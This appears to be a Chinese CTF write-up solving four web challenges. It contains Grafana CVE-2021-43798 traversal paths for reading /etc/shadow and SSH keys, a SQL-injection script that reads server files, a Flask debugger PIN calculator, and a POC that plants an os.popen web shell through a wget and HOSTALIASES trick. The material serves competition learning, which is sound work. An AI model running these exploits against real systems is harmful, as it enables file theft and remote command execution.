这次比赛体验也还行,题目质量出的很高,把wp记录下来
WEB:
oh-my-grafana
这个题目考的是grafana任意文件读取漏洞(CVE-2021-43798)
2021年12月6日,国外安全研究人员检测出grafana中某些接口在提供静态文件时,攻击者通过构造恶意请求,可造成目录遍历,读取系统上的文件。
读取敏感文件复现poc:
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db #读取数据库文件
/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini #读取配置文件
还可以读取的其他文件
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
该漏洞是由于grafana plugins引发的目录穿越漏洞导致任意文件读取,上述截图仅展示了grafana-clock-panel插件的效果。官方公布的受影响Plugins为40个。
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
该题目就是grafana存在未鉴权状态下的任意文件读取。
/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini
读取到这个
# default admin user, created on startup
admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade
# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = mysql
;host = mysql:3306
;name = grafana
;user = grafana
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password = grafana
admin的密码是5f989714e132c9b04d4807dafeb10ade,利用Configuration里的Data sources功能,指定加载远程MySQL数据服务,通过执行SQL语句读取表信息和列信息,最后读出flag。
oh-my-notepro
Flask debug模式算pin码,pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
PIN生成要素
1. username,用户名
2. modname,默认值为flask.app
3. appname,默认值为Flask
4. moddir,flask库下app.py的绝对路径
5. uuidnode,当前网络的mac地址的十进制数
6. machine_id,docker机器id
username
通过getpass.getuser()读取,通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
参考链接:https://blog.csdn.net/weixin_54648419/article/details/123632203
脚本读取文件内容 python3.8
import requests,random
session = requests.Session()
table_name = "".join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))
file = '/sys/class/net/eth0/address'
file = '/etc/machine-id'
file='/proc/self/cgroup'
payload1 = f'''1';create table {table_name}(name varchar(30000));load data local infile "{file}" into table ctf.{table_name} FIELDS TERMINATED BY '\n';#'''
payload2 = f'''1' union select 1,2,3,4,(select GROUP_CONCAT(NAME) from ctf.{table_name})#'''
paramsGet1 = {"note_id":payload1}
paramsGet2 = {"note_id":payload2}
headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"}
cookies = {"session":"eyJjc3JmX3Rva2VuIjoiNjU5MmViODdhMjgwOGE4OTY0ZTRjMmU1Y2RlMWIxNGNiODM4MmNiNSIsInVzZXJuYW1lIjoiYWFhIn0.YlpeQg.VAhhSpogG4OT1bAytxIdRvyCxYk"}
response1 = session.get("http://121.37.153.47:5002/view", params=paramsGet1, headers=headers, cookies=cookies)
response2 = session.get("http://121.37.153.47:5002/view", params=paramsGet2, headers=headers, cookies=cookies)
print(response2.text)
算pin
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485723369475',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就1,3):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'1cc402dd0e11d5ae18db04a6de87223d5a46d823f27edfa2c6c973c7e80fd24731bd56fc969e13f96e1868aa82dcde32'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
oh-my-lotto
有一次修改环境变量的机会——>从wget本地开的另一个服务获取到随机的lotto结果——>和
可控的预测结果匹配——>相同返回flag
如果wget没有获取到新的flag,那lotto结果就会是上局的结果,是已知的,就能通过。
这里是空的 (´・-・)ノ㊫
因此我通过修改环境变量PATH直接把wget拒之门外了,为了防止ban了其他的可能对正常流程影响的函数,就用通配符限制了一下
/usr/bin/ :/usr/bin/ ?:/usr/bin/???:/usr/bin/?????:/usr/bin/?????*
oh-my-lotto-revenge
当上传的forecast.txt文件内容与lotto_result.txt文件内容相符时,可以获得flag
POC:
from flask import Flask, request, make_response
import mimetypes
app = Flask(__name__)
@app.route("/")
def index():
r = '''
from flask import Flask,request
import os
app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000
完整poc:
import requests
import os
import time
import subprocess
s = requests.session()
base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {
'http': 'http://127.0.0.1:8080'
}
r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)
url_env = base_url + 'lotto'
data = {
'lotto_key': 'HOSTALIASES',
'lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)
subprocess.Popen('./exploit.sh', shell=True)
# os.system('./exploit.sh')
for i in range(1, 53):
print(i)
time.sleep(1)
while True:
url_shell = base_url + 'test?a=env'
print(url_shell)
r = s.get(url_shell)
print(r.text)
if '*ctf' in r.text:
print(r.text)
break